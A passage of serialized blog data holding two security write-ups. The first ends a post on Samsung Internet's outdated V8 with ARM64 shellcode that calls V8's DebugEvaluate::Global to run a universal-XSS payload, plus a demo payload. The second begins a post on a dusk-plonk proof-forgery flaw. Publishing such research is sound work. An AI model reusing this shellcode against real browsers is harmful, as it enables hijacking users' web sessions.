DebugEvaluate::",{"type":23,"tag":41,"props":140732,"children":140733},{"style":114},[140734],{"type":28,"value":140735},"Global",{"type":23,"tag":41,"props":140737,"children":140738},{"style":70},[140739],{"type":28,"value":1737},{"type":23,"tag":41,"props":140741,"children":140742},{"style":94},[140743],{"type":28,"value":140744},"Isolate",{"type":23,"tag":41,"props":140746,"children":140747},{"style":64},[140748],{"type":28,"value":377},{"type":23,"tag":41,"props":140750,"children":140751},{"style":858},[140752],{"type":28,"value":140753}," isolate",{"type":23,"tag":41,"props":140755,"children":140756},{"style":70},[140757],{"type":28,"value":3506},{"type":23,"tag":41,"props":140759,"children":140760},{"class":43,"line":54},[140761,140766,140770,140774,140778,140783],{"type":23,"tag":41,"props":140762,"children":140763},{"style":94},[140764],{"type":28,"value":140765},"                                                Handle",{"type":23,"tag":41,"props":140767,"children":140768},{"style":70},[140769],{"type":28,"value":1012},{"type":23,"tag":41,"props":140771,"children":140772},{"style":94},[140773],{"type":28,"value":47920},{"type":23,"tag":41,"props":140775,"children":140776},{"style":70},[140777],{"type":28,"value":5821},{"type":23,"tag":41,"props":140779,"children":140780},{"style":858},[140781],{"type":28,"value":140782},"source",{"type":23,"tag":41,"props":140784,"children":140785},{"style":70},[140786],{"type":28,"value":3506},{"type":23,"tag":41,"props":140788,"children":140789},{"class":43,"line":76},[140790,140795,140800,140804],{"type":23,"tag":41,"props":140791,"children":140792},{"style":70},[140793],{"type":28,"value":140794},"                                                debug::",{"type":23,"tag":41,"props":140796,"children":140797},{"style":94},[140798],{"type":28,"value":140799},"EvaluateGlobalMode",{"type":23,"tag":41,"props":140801,"children":140802},{"style":858},[140803],{"type":28,"value":105992},{"type":23,"tag":41,"props":140805,"children":140806},{"style":70},[140807],{"type":28,"value":3506},{"type":23,"tag":41,"props":140809,"children":140810},{"class":43,"line":85},[140811,140816,140821],{"type":23,"tag":41,"props":140812,"children":140813},{"style":94},[140814],{"type":28,"value":140815},"                                                REPLMode",{"type":23,"tag":41,"props":140817,"children":140818},{"style":858},[140819],{"type":28,"value":140820}," repl_mode",{"type":23,"tag":41,"props":140822,"children":140823},{"style":70},[140824],{"type":28,"value":3825},{"type":23,"tag":24,"props":140826,"children":140827},{},[140828,140830,140835,140837,140842,140844,140849,140851,140857,140858,140864],{"type":28,"value":140829},"We must supply the ",{"type":23,"tag":37,"props":140831,"children":140833},{"className":140832},[],[140834],{"type":28,"value":140403},{"type":28,"value":140836}," pointer, a ",{"type":23,"tag":37,"props":140838,"children":140840},{"className":140839},[],[140841],{"type":28,"value":47920},{"type":28,"value":140843}," object containing our XSS payload as ",{"type":23,"tag":37,"props":140845,"children":140847},{"className":140846},[],[140848],{"type":28,"value":140782},{"type":28,"value":140850},", and the ",{"type":23,"tag":37,"props":140852,"children":140854},{"className":140853},[],[140855],{"type":28,"value":140856},"mode",{"type":28,"value":1361},{"type":23,"tag":37,"props":140859,"children":140861},{"className":140860},[],[140862],{"type":28,"value":140863},"repl_mode",{"type":28,"value":140865}," values, which are simple enum literals.",{"type":23,"tag":24,"props":140867,"children":140868},{},[140869,140871,140876,140878,140884,140886,140891,140893,140898,140900,140906,140908,140914,140916,140921,140923,140928,140930,140935,140937,140942],{"type":28,"value":140870},"To obtain the ",{"type":23,"tag":37,"props":140872,"children":140874},{"className":140873},[],[140875],{"type":28,"value":140403},{"type":28,"value":140877}," pointer within our shellcode, we call ",{"type":23,"tag":37,"props":140879,"children":140881},{"className":140880},[],[140882],{"type":28,"value":140883},"Isolate::TryGetCurrent()",{"type":28,"value":140885},", which returns the current ",{"type":23,"tag":37,"props":140887,"children":140889},{"className":140888},[],[140890],{"type":28,"value":140403},{"type":28,"value":140892},". To construct a valid ",{"type":23,"tag":37,"props":140894,"children":140896},{"className":140895},[],[140897],{"type":28,"value":47920},{"type":28,"value":140899}," object holding our payload, we call ",{"type":23,"tag":37,"props":140901,"children":140903},{"className":140902},[],[140904],{"type":28,"value":140905},"v8::String::NewFromUTF8",{"type":28,"value":140907},". This ",{"type":23,"tag":37,"props":140909,"children":140911},{"className":140910},[],[140912],{"type":28,"value":140913},"NewFromUTF8",{"type":28,"value":140915}," function takes four arguments: the ",{"type":23,"tag":37,"props":140917,"children":140919},{"className":140918},[],[140920],{"type":28,"value":140403},{"type":28,"value":140922},", the string bytes as ",{"type":23,"tag":37,"props":140924,"children":140926},{"className":140925},[],[140927],{"type":28,"value":3701},{"type":28,"value":140929},", an enum literal specifying the string type, and ",{"type":23,"tag":37,"props":140931,"children":140933},{"className":140932},[],[140934],{"type":28,"value":2395},{"type":28,"value":140936},", which is the size of the ",{"type":23,"tag":37,"props":140938,"children":140940},{"className":140939},[],[140941],{"type":28,"value":3701},{"type":28,"value":17150},{"type":23,"tag":24,"props":140944,"children":140945},{},[140946],{"type":28,"value":140947},"The resulting shellcode that executes our XSS payload looks like this:",{"type":23,"tag":31,"props":140949,"children":140951},{"code":140950,"language":139239,"meta":7,"className":139240,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[140952],{"type":23,"tag":37,"props":140953,"children":140954},{"__ignoreMap":7},[140955,140963,140971,140979,140987,140995,141003,141011,141019,141027,141035,141043,141051,141058,141066,141074,141082,141090,141097,141105,141112,141120,141128,141135,141142,141149,141156,141163,141170,141178,141186,141193,141201,141209,141216,141224,141232,141239,141246,141254,141262,141270,141277,141285,141293,141301,141309,141317,141325,141333,141341,141349,141357,141365,141372,141380,141388,141395,141403,141411,141419,141427,141434,141442,141449,141456,141464,141472,141480,141488,141497,141506,141514],{"type":23,"tag":41,"props":140956,"children":140957},{"class":43,"line":44},[140958],{"type":23,"tag":41,"props":140959,"children":140960},{},[140961],{"type":28,"value":140962},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":23,"tag":41,"props":140964,"children":140965},{"class":43,"line":54},[140966],{"type":23,"tag":41,"props":140967,"children":140968},{},[140969],{"type":28,"value":140970},"movz x1, #0xf7a0\n",{"type":23,"tag":41,"props":140972,"children":140973},{"class":43,"line":76},[140974],{"type":23,"tag":41,"props":140975,"children":140976},{},[140977],{"type":28,"value":140978},"movk x1, #0x0071, lsl #16\n",{"type":23,"tag":41,"props":140980,"children":140981},{"class":43,"line":85},[140982],{"type":23,"tag":41,"props":140983,"children":140984},{},[140985],{"type":28,"value":140986},"add x9, x12, x1\n",{"type":23,"tag":41,"props":140988,"children":140989},{"class":43,"line":105},[140990],{"type":23,"tag":41,"props":140991,"children":140992},{},[140993],{"type":28,"value":140994},"movz x1, #0x5ac8\n",{"type":23,"tag":41,"props":140996,"children":140997},{"class":43,"line":155},[140998],{"type":23,"tag":41,"props":140999,"children":141000},{},[141001],{"type":28,"value":141002},"movk x1, #0x054f, lsl #16\n",{"type":23,"tag":41,"props":141004,"children":141005},{"class":43,"line":186},[141006],{"type":23,"tag":41,"props":141007,"children":141008},{},[141009],{"type":28,"value":141010},"add x0, x12, x1\n",{"type":23,"tag":41,"props":141012,"children":141013},{"class":43,"line":195},[141014],{"type":23,"tag":41,"props":141015,"children":141016},{},[141017],{"type":28,"value":141018},"blr x9\n",{"type":23,"tag":41,"props":141020,"children":141021},{"class":43,"line":905},[141022],{"type":23,"tag":41,"props":141023,"children":141024},{},[141025],{"type":28,"value":141026},"// *x0 is isolate pointer\n",{"type":23,"tag":41,"props":141028,"children":141029},{"class":43,"line":922},[141030],{"type":23,"tag":41,"props":141031,"children":141032},{},[141033],{"type":28,"value":141034},"// store isolate ptr to stack\n",{"type":23,"tag":41,"props":141036,"children":141037},{"class":43,"line":930},[141038],{"type":23,"tag":41,"props":141039,"children":141040},{},[141041],{"type":28,"value":141042},"ldr x13, [x0]\n",{"type":23,"tag":41,"props":141044,"children":141045},{"class":43,"line":939},[141046],{"type":23,"tag":41,"props":141047,"children":141048},{},[141049],{"type":28,"value":141050},"str x13, [sp, #-16]!\n",{"type":23,"tag":41,"props":141052,"children":141053},{"class":43,"line":947},[141054],{"type":23,"tag":41,"props":141055,"children":141056},{"emptyLinePlaceholder":18},[141057],{"type":28,"value":82},{"type":23,"tag":41,"props":141059,"children":141060},{"class":43,"line":985},[141061],{"type":23,"tag":41,"props":141062,"children":141063},{},[141064],{"type":28,"value":141065},"// store x10 = v8::String::NewFromUTF8\n",{"type":23,"tag":41,"props":141067,"children":141068},{"class":43,"line":1058},[141069],{"type":23,"tag":41,"props":141070,"children":141071},{},[141072],{"type":28,"value":141073},"movz x1, #0x1140\n",{"type":23,"tag":41,"props":141075,"children":141076},{"class":43,"line":1084},[141077],{"type":23,"tag":41,"props":141078,"children":141079},{},[141080],{"type":28,"value":141081},"movk x1, #0x0242, lsl #16\n",{"type":23,"tag":41,"props":141083,"children":141084},{"class":43,"line":1102},[141085],{"type":23,"tag":41,"props":141086,"children":141087},{},[141088],{"type":28,"value":141089},"sub x10, x12, x1\n",{"type":23,"tag":41,"props":141091,"children":141092},{"class":43,"line":1110},[141093],{"type":23,"tag":41,"props":141094,"children":141095},{"emptyLinePlaceholder":18},[141096],{"type":28,"value":82},{"type":23,"tag":41,"props":141098,"children":141099},{"class":43,"line":1118},[141100],{"type":23,"tag":41,"props":141101,"children":141102},{},[141103],{"type":28,"value":141104},"// mmap a RW page for our xss payload\n",{"type":23,"tag":41,"props":141106,"children":141107},{"class":43,"line":1137},[141108],{"type":23,"tag":41,"props":141109,"children":141110},{},[141111],{"type":28,"value":139455},{"type":23,"tag":41,"props":141113,"children":141114},{"class":43,"line":1163},[141115],{"type":23,"tag":41,"props":141116,"children":141117},{},[141118],{"type":28,"value":141119},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":23,"tag":41,"props":141121,"children":141122},{"class":43,"line":1188},[141123],{"type":23,"tag":41,"props":141124,"children":141125},{},[141126],{"type":28,"value":141127},"mov x2, #3\n",{"type":23,"tag":41,"props":141129,"children":141130},{"class":43,"line":1979},[141131],{"type":23,"tag":41,"props":141132,"children":141133},{},[141134],{"type":28,"value":139478},{"type":23,"tag":41,"props":141136,"children":141137},{"class":43,"line":2002},[141138],{"type":23,"tag":41,"props":141139,"children":141140},{},[141141],{"type":28,"value":139486},{"type":23,"tag":41,"props":141143,"children":141144},{"class":43,"line":3835},[141145],{"type":23,"tag":41,"props":141146,"children":141147},{},[141148],{"type":28,"value":139494},{"type":23,"tag":41,"props":141150,"children":141151},{"class":43,"line":3895},[141152],{"type":23,"tag":41,"props":141153,"children":141154},{},[141155],{"type":28,"value":139502},{"type":23,"tag":41,"props":141157,"children":141158},{"class":43,"line":9044},[141159],{"type":23,"tag":41,"props":141160,"children":141161},{},[141162],{"type":28,"value":139417},{"type":23,"tag":41,"props":141164,"children":141165},{"class":43,"line":9061},[141166],{"type":23,"tag":41,"props":141167,"children":141168},{"emptyLinePlaceholder":18},[141169],{"type":28,"value":82},{"type":23,"tag":41,"props":141171,"children":141172},{"class":43,"line":9106},[141173],{"type":23,"tag":41,"props":141174,"children":141175},{},[141176],{"type":28,"value":141177},"// write our xss payload to mmapped rw page\n",{"type":23,"tag":41,"props":141179,"children":141180},{"class":43,"line":9212},[141181],{"type":23,"tag":41,"props":141182,"children":141183},{},[141184],{"type":28,"value":141185},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":23,"tag":41,"props":141187,"children":141188},{"class":43,"line":23496},[141189],{"type":23,"tag":41,"props":141190,"children":141191},{"emptyLinePlaceholder":18},[141192],{"type":28,"value":82},{"type":23,"tag":41,"props":141194,"children":141195},{"class":43,"line":23531},[141196],{"type":23,"tag":41,"props":141197,"children":141198},{},[141199],{"type":28,"value":141200},"// store x11 = XSS_PAYLOAD string\n",{"type":23,"tag":41,"props":141202,"children":141203},{"class":43,"line":23539},[141204],{"type":23,"tag":41,"props":141205,"children":141206},{},[141207],{"type":28,"value":141208},"mov x11, x0\n",{"type":23,"tag":41,"props":141210,"children":141211},{"class":43,"line":23547},[141212],{"type":23,"tag":41,"props":141213,"children":141214},{"emptyLinePlaceholder":18},[141215],{"type":28,"value":82},{"type":23,"tag":41,"props":141217,"children":141218},{"class":43,"line":23556},[141219],{"type":23,"tag":41,"props":141220,"children":141221},{},[141222],{"type":28,"value":141223},"// pop back isolate pointer\n",{"type":23,"tag":41,"props":141225,"children":141226},{"class":43,"line":23598},[141227],{"type":23,"tag":41,"props":141228,"children":141229},{},[141230],{"type":28,"value":141231},"ldr x13, [sp], #16\n",{"type":23,"tag":41,"props":141233,"children":141234},{"class":43,"line":23631},[141235],{"type":23,"tag":41,"props":141236,"children":141237},{"emptyLinePlaceholder":18},[141238],{"type":28,"value":82},{"type":23,"tag":41,"props":141240,"children":141241},{"class":43,"line":23639},[141242],{"type":23,"tag":41,"props":141243,"children":141244},{},[141245],{"type":28,"value":139538},{"type":23,"tag":41,"props":141247,"children":141248},{"class":43,"line":23647},[141249],{"type":23,"tag":41,"props":141250,"children":141251},{},[141252],{"type":28,"value":141253},"// x13 = isolate *\n",{"type":23,"tag":41,"props":141255,"children":141256},{"class":43,"line":23656},[141257],{"type":23,"tag":41,"props":141258,"children":141259},{},[141260],{"type":28,"value":141261},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":23,"tag":41,"props":141263,"children":141264},{"class":43,"line":23732},[141265],{"type":23,"tag":41,"props":141266,"children":141267},{},[141268],{"type":28,"value":141269},"// x10 = v8::String::NewFromUtf8\n",{"type":23,"tag":41,"props":141271,"children":141272},{"class":43,"line":23765},[141273],{"type":23,"tag":41,"props":141274,"children":141275},{"emptyLinePlaceholder":18},[141276],{"type":28,"value":82},{"type":23,"tag":41,"props":141278,"children":141279},{"class":43,"line":23773},[141280],{"type":23,"tag":41,"props":141281,"children":141282},{},[141283],{"type":28,"value":141284},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":23,"tag":41,"props":141286,"children":141287},{"class":43,"line":23781},[141288],{"type":23,"tag":41,"props":141289,"children":141290},{},[141291],{"type":28,"value":141292},"// arg0 = isolate *\n",{"type":23,"tag":41,"props":141294,"children":141295},{"class":43,"line":23818},[141296],{"type":23,"tag":41,"props":141297,"children":141298},{},[141299],{"type":28,"value":141300},"mov x0, x13\n",{"type":23,"tag":41,"props":141302,"children":141303},{"class":43,"line":23831},[141304],{"type":23,"tag":41,"props":141305,"children":141306},{},[141307],{"type":28,"value":141308},"// arg1 = char *c_str\n",{"type":23,"tag":41,"props":141310,"children":141311},{"class":43,"line":23844},[141312],{"type":23,"tag":41,"props":141313,"children":141314},{},[141315],{"type":28,"value":141316},"mov x1, x11\n",{"type":23,"tag":41,"props":141318,"children":141319},{"class":43,"line":23857},[141320],{"type":23,"tag":41,"props":141321,"children":141322},{},[141323],{"type":28,"value":141324},"// arg2 = type = kNormal\n",{"type":23,"tag":41,"props":141326,"children":141327},{"class":43,"line":23911},[141328],{"type":23,"tag":41,"props":141329,"children":141330},{},[141331],{"type":28,"value":141332},"mov x2, #0\n",{"type":23,"tag":41,"props":141334,"children":141335},{"class":43,"line":23920},[141336],{"type":23,"tag":41,"props":141337,"children":141338},{},[141339],{"type":28,"value":141340},"// arg4 = length\n",{"type":23,"tag":41,"props":141342,"children":141343},{"class":43,"line":32275},[141344],{"type":23,"tag":41,"props":141345,"children":141346},{},[141347],{"type":28,"value":141348},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":23,"tag":41,"props":141350,"children":141351},{"class":43,"line":32296},[141352],{"type":23,"tag":41,"props":141353,"children":141354},{},[141355],{"type":28,"value":141356},"// call NewFromUTF8\n",{"type":23,"tag":41,"props":141358,"children":141359},{"class":43,"line":80946},[141360],{"type":23,"tag":41,"props":141361,"children":141362},{},[141363],{"type":28,"value":141364},"blr x10\n",{"type":23,"tag":41,"props":141366,"children":141367},{"class":43,"line":80959},[141368],{"type":23,"tag":41,"props":141369,"children":141370},{"emptyLinePlaceholder":18},[141371],{"type":28,"value":82},{"type":23,"tag":41,"props":141373,"children":141374},{"class":43,"line":80967},[141375],{"type":23,"tag":41,"props":141376,"children":141377},{},[141378],{"type":28,"value":141379},"// store x14 = String XSS_PAYLOAD\n",{"type":23,"tag":41,"props":141381,"children":141382},{"class":43,"line":80975},[141383],{"type":23,"tag":41,"props":141384,"children":141385},{},[141386],{"type":28,"value":141387},"mov x14, x0\n",{"type":23,"tag":41,"props":141389,"children":141390},{"class":43,"line":80983},[141391],{"type":23,"tag":41,"props":141392,"children":141393},{"emptyLinePlaceholder":18},[141394],{"type":28,"value":82},{"type":23,"tag":41,"props":141396,"children":141397},{"class":43,"line":81023},[141398],{"type":23,"tag":41,"props":141399,"children":141400},{},[141401],{"type":28,"value":141402},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":41,"props":141404,"children":141405},{"class":43,"line":81031},[141406],{"type":23,"tag":41,"props":141407,"children":141408},{},[141409],{"type":28,"value":141410},"movz x1, #0xe44c\n",{"type":23,"tag":41,"props":141412,"children":141413},{"class":43,"line":88217},[141414],{"type":23,"tag":41,"props":141415,"children":141416},{},[141417],{"type":28,"value":141418},"movk x1, #0x014e, lsl #16\n",{"type":23,"tag":41,"props":141420,"children":141421},{"class":43,"line":88225},[141422],{"type":23,"tag":41,"props":141423,"children":141424},{},[141425],{"type":28,"value":141426},"sub x9, x12, x1\n",{"type":23,"tag":41,"props":141428,"children":141429},{"class":43,"line":101295},[141430],{"type":23,"tag":41,"props":141431,"children":141432},{"emptyLinePlaceholder":18},[141433],{"type":28,"value":82},{"type":23,"tag":41,"props":141435,"children":141436},{"class":43,"line":101303},[141437],{"type":23,"tag":41,"props":141438,"children":141439},{},[141440],{"type":28,"value":141441},"// call v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":41,"props":141443,"children":141444},{"class":43,"line":101311},[141445],{"type":23,"tag":41,"props":141446,"children":141447},{},[141448],{"type":28,"value":141292},{"type":23,"tag":41,"props":141450,"children":141451},{"class":43,"line":101319},[141452],{"type":23,"tag":41,"props":141453,"children":141454},{},[141455],{"type":28,"value":141300},{"type":23,"tag":41,"props":141457,"children":141458},{"class":43,"line":101347},[141459],{"type":23,"tag":41,"props":141460,"children":141461},{},[141462],{"type":28,"value":141463},"// arg1 = String *source\n",{"type":23,"tag":41,"props":141465,"children":141466},{"class":43,"line":104118},[141467],{"type":23,"tag":41,"props":141468,"children":141469},{},[141470],{"type":28,"value":141471},"mov x1, x14\n",{"type":23,"tag":41,"props":141473,"children":141474},{"class":43,"line":104126},[141475],{"type":23,"tag":41,"props":141476,"children":141477},{},[141478],{"type":28,"value":141479},"// arg2 = mode = kDefault\n",{"type":23,"tag":41,"props":141481,"children":141483},{"class":43,"line":141482},69,[141484],{"type":23,"tag":41,"props":141485,"children":141486},{},[141487],{"type":28,"value":141332},{"type":23,"tag":41,"props":141489,"children":141491},{"class":43,"line":141490},70,[141492],{"type":23,"tag":41,"props":141493,"children":141494},{},[141495],{"type":28,"value":141496},"// arg3 = repl_mode = kYes\n",{"type":23,"tag":41,"props":141498,"children":141500},{"class":43,"line":141499},71,[141501],{"type":23,"tag":41,"props":141502,"children":141503},{},[141504],{"type":28,"value":141505},"mov x3, #0\n",{"type":23,"tag":41,"props":141507,"children":141509},{"class":43,"line":141508},72,[141510],{"type":23,"tag":41,"props":141511,"children":141512},{"emptyLinePlaceholder":18},[141513],{"type":28,"value":82},{"type":23,"tag":41,"props":141515,"children":141517},{"class":43,"line":141516},73,[141518],{"type":23,"tag":41,"props":141519,"children":141520},{},[141521],{"type":28,"value":141018},{"type":23,"tag":546,"props":141523,"children":141525},{"id":141524},"uxss-demo",[141526],{"type":28,"value":141527},"UXSS Demo",{"type":23,"tag":24,"props":141529,"children":141530},{},[141531,141533,141539],{"type":28,"value":141532},"Below is a demo that executes the following UXSS payload: ",{"type":23,"tag":37,"props":141534,"children":141536},{"className":141535},[],[141537],{"type":28,"value":141538},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":28,"value":706},{"type":23,"tag":131576,"props":141541,"children":141544},{"className":141542,"controls":18},[141543],"blog-video-responsive",[141545,141547,141551],{"type":28,"value":141546},"\n  ",{"type":23,"tag":140782,"props":141548,"children":141550},{"src":141549,"type":131574},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":28,"value":141552},"\n  Your browser does not support the video tag.\n",{"type":23,"tag":446,"props":141554,"children":141555},{"id":2811},[141556],{"type":28,"value":2814},{"type":23,"tag":24,"props":141558,"children":141559},{},[141560],{"type":28,"value":141561},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":23,"tag":24,"props":141563,"children":141564},{},[141565],{"type":28,"value":141566},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":23,"tag":2843,"props":141568,"children":141569},{},[141570],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":141572},[141573,141577,141580,141590],{"id":29014,"depth":54,"text":29017,"children":141574},[141575,141576],{"id":131710,"depth":76,"text":131713},{"id":131793,"depth":76,"text":131796},{"id":131826,"depth":54,"text":131829,"children":141578},[141579],{"id":131967,"depth":76,"text":131821},{"id":132111,"depth":54,"text":132114,"children":141581},[141582,141583,141584,141585,141586,141587,141588,141589],{"id":132117,"depth":76,"text":132120},{"id":132574,"depth":76,"text":132577},{"id":132757,"depth":76,"text":132760},{"id":132868,"depth":76,"text":132871},{"id":133145,"depth":76,"text":133148},{"id":135855,"depth":76,"text":135858},{"id":139136,"depth":76,"text":139139},{"id":141524,"depth":76,"text":141527},{"id":2811,"depth":54,"text":2814},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":141595,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":141596,"description":141597,"date":141598,"author":141599,"image":141600,"isFeatured":18,"onBlogPage":18,"tags":141602,"body":141605,"_type":2864,"_id":146869,"_source":2866,"_file":146870,"_stem":146871,"_extension":2869},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[107556,107557],{"src":141601,"width":96986,"height":13},"/posts/dusk-commitment-issues/title.png",[141603,141604],"dusk","plonk",{"type":20,"children":141606,"toc":146849},[141607,141613,141654,141666,141672,141686,141691,141697,141988,141992,142264,142494,142500,143185,143189,143684,143692,143698,143717,143722,143728,143953,143992,144003,144009,144020,144728,144733,144736,144742,144795,144830,144862,144867,144871,144874,144880,144891,144904,144935,145002,145010,145032,145045,145472,145495,145500,145503,145508,145535,145631,145642,145689,145727,145738,146076,146093,146101,146104,146110,146115,146149,146157,146238,146241,146247,146261,146279,146284,146324,146332,146353,146356,146362,146367,146432,146446,146449,146455,146495,146506,146511,146516,146522,146536,146617,146638,146665,146668,146674,146688,146693,146698,146703,146838,146844],{"type":23,"tag":35367,"props":141608,"children":141610},{"id":141609},"commitment-issues-unverified-evaluations-in-dusks-plonk",[141611],{"type":28,"value":141612},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":23,"tag":24,"props":141614,"children":141615},{},[141616,141618,141625,141627,141634,141636,141643,141645,141652],{"type":28,"value":141617},"We found a critical soundness vulnerability in ",{"type":23,"tag":458,"props":141619,"children":141622},{"href":141620,"rel":141621},"https://github.com/dusk-network/plonk/",[462],[141623],{"type":28,"value":141624},"dusk-plonk",{"type":28,"value":141626},", the PLONK implementation powering ",{"type":23,"tag":458,"props":141628,"children":141631},{"href":141629,"rel":141630},"https://dusk.network/",[462],[141632],{"type":28,"value":141633},"Dusk Network's",{"type":28,"value":141635}," ~$60M ",{"type":23,"tag":458,"props":141637,"children":141640},{"href":141638,"rel":141639},"https://www.coingecko.com/en/coins/dusk",[462],[141641],{"type":28,"value":141642},"market cap",{"type":28,"value":141644},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":23,"tag":458,"props":141646,"children":141649},{"href":141647,"rel":141648},"https://github.com/dusk-network/rusk",[462],[141650],{"type":28,"value":141651},"Rusk",{"type":28,"value":141653}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":23,"tag":24,"props":141655,"children":141656},{},[141657,141659,141664],{"type":28,"value":141658},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":23,"tag":510,"props":141660,"children":141661},{},[141662],{"type":28,"value":141663},"without ever validating them against the trusted commitments in the verifier key.",{"type":28,"value":141665}," The prover can set them to whatever values make the equation pass.",{"type":23,"tag":446,"props":141667,"children":141669},{"id":141668},"how-plonk-works-briefly",[141670],{"type":28,"value":141671},"How PLONK works (briefly)",{"type":23,"tag":24,"props":141673,"children":141674},{},[141675,141677,141684],{"type":28,"value":141676},"For a rigorous treatment see the ",{"type":23,"tag":458,"props":141678,"children":141681},{"href":141679,"rel":141680},"https://eprint.iacr.org/2019/953",[462],[141682],{"type":28,"value":141683},"original paper",{"type":28,"value":141685},"; what follows covers only the parts needed to understand the bug.",{"type":23,"tag":24,"props":141687,"children":141688},{},[141689],{"type":28,"value":141690},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":23,"tag":546,"props":141692,"children":141694},{"id":141693},"arithmetic-circuits-and-constraints",[141695],{"type":28,"value":141696},"Arithmetic circuits and constraints",{"type":23,"tag":24,"props":141698,"children":141699},{},[141700,141702,141751,141753,141902,141904,141987],{"type":28,"value":141701},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":23,"tag":37,"props":141703,"children":141705},{"className":141704},[3984,3985],[141706],{"type":23,"tag":41,"props":141707,"children":141709},{"className":141708},[3990],[141710],{"type":23,"tag":41,"props":141711,"children":141713},{"className":141712,"ariaHidden":3996},[3995],[141714],{"type":23,"tag":41,"props":141715,"children":141717},{"className":141716},[4001],[141718,141722,141727,141732,141737,141741,141746],{"type":23,"tag":41,"props":141719,"children":141721},{"className":141720,"style":4113},[4006],[],{"type":23,"tag":41,"props":141723,"children":141725},{"className":141724},[21703],[141726],{"type":28,"value":1737},{"type":23,"tag":41,"props":141728,"children":141730},{"className":141729},[4012,21574],[141731],{"type":28,"value":19263},{"type":23,"tag":41,"props":141733,"children":141735},{"className":141734},[4124],[141736],{"type":28,"value":4127},{"type":23,"tag":41,"props":141738,"children":141740},{"className":141739,"style":4131},[4092],[],{"type":23,"tag":41,"props":141742,"children":141744},{"className":141743,"style":93251},[4012,21574],[141745],{"type":28,"value":3114},{"type":23,"tag":41,"props":141747,"children":141749},{"className":141748},[21725],[141750],{"type":28,"value":2678},{"type":28,"value":141752}," on an elliptic curve, by e.g proving that 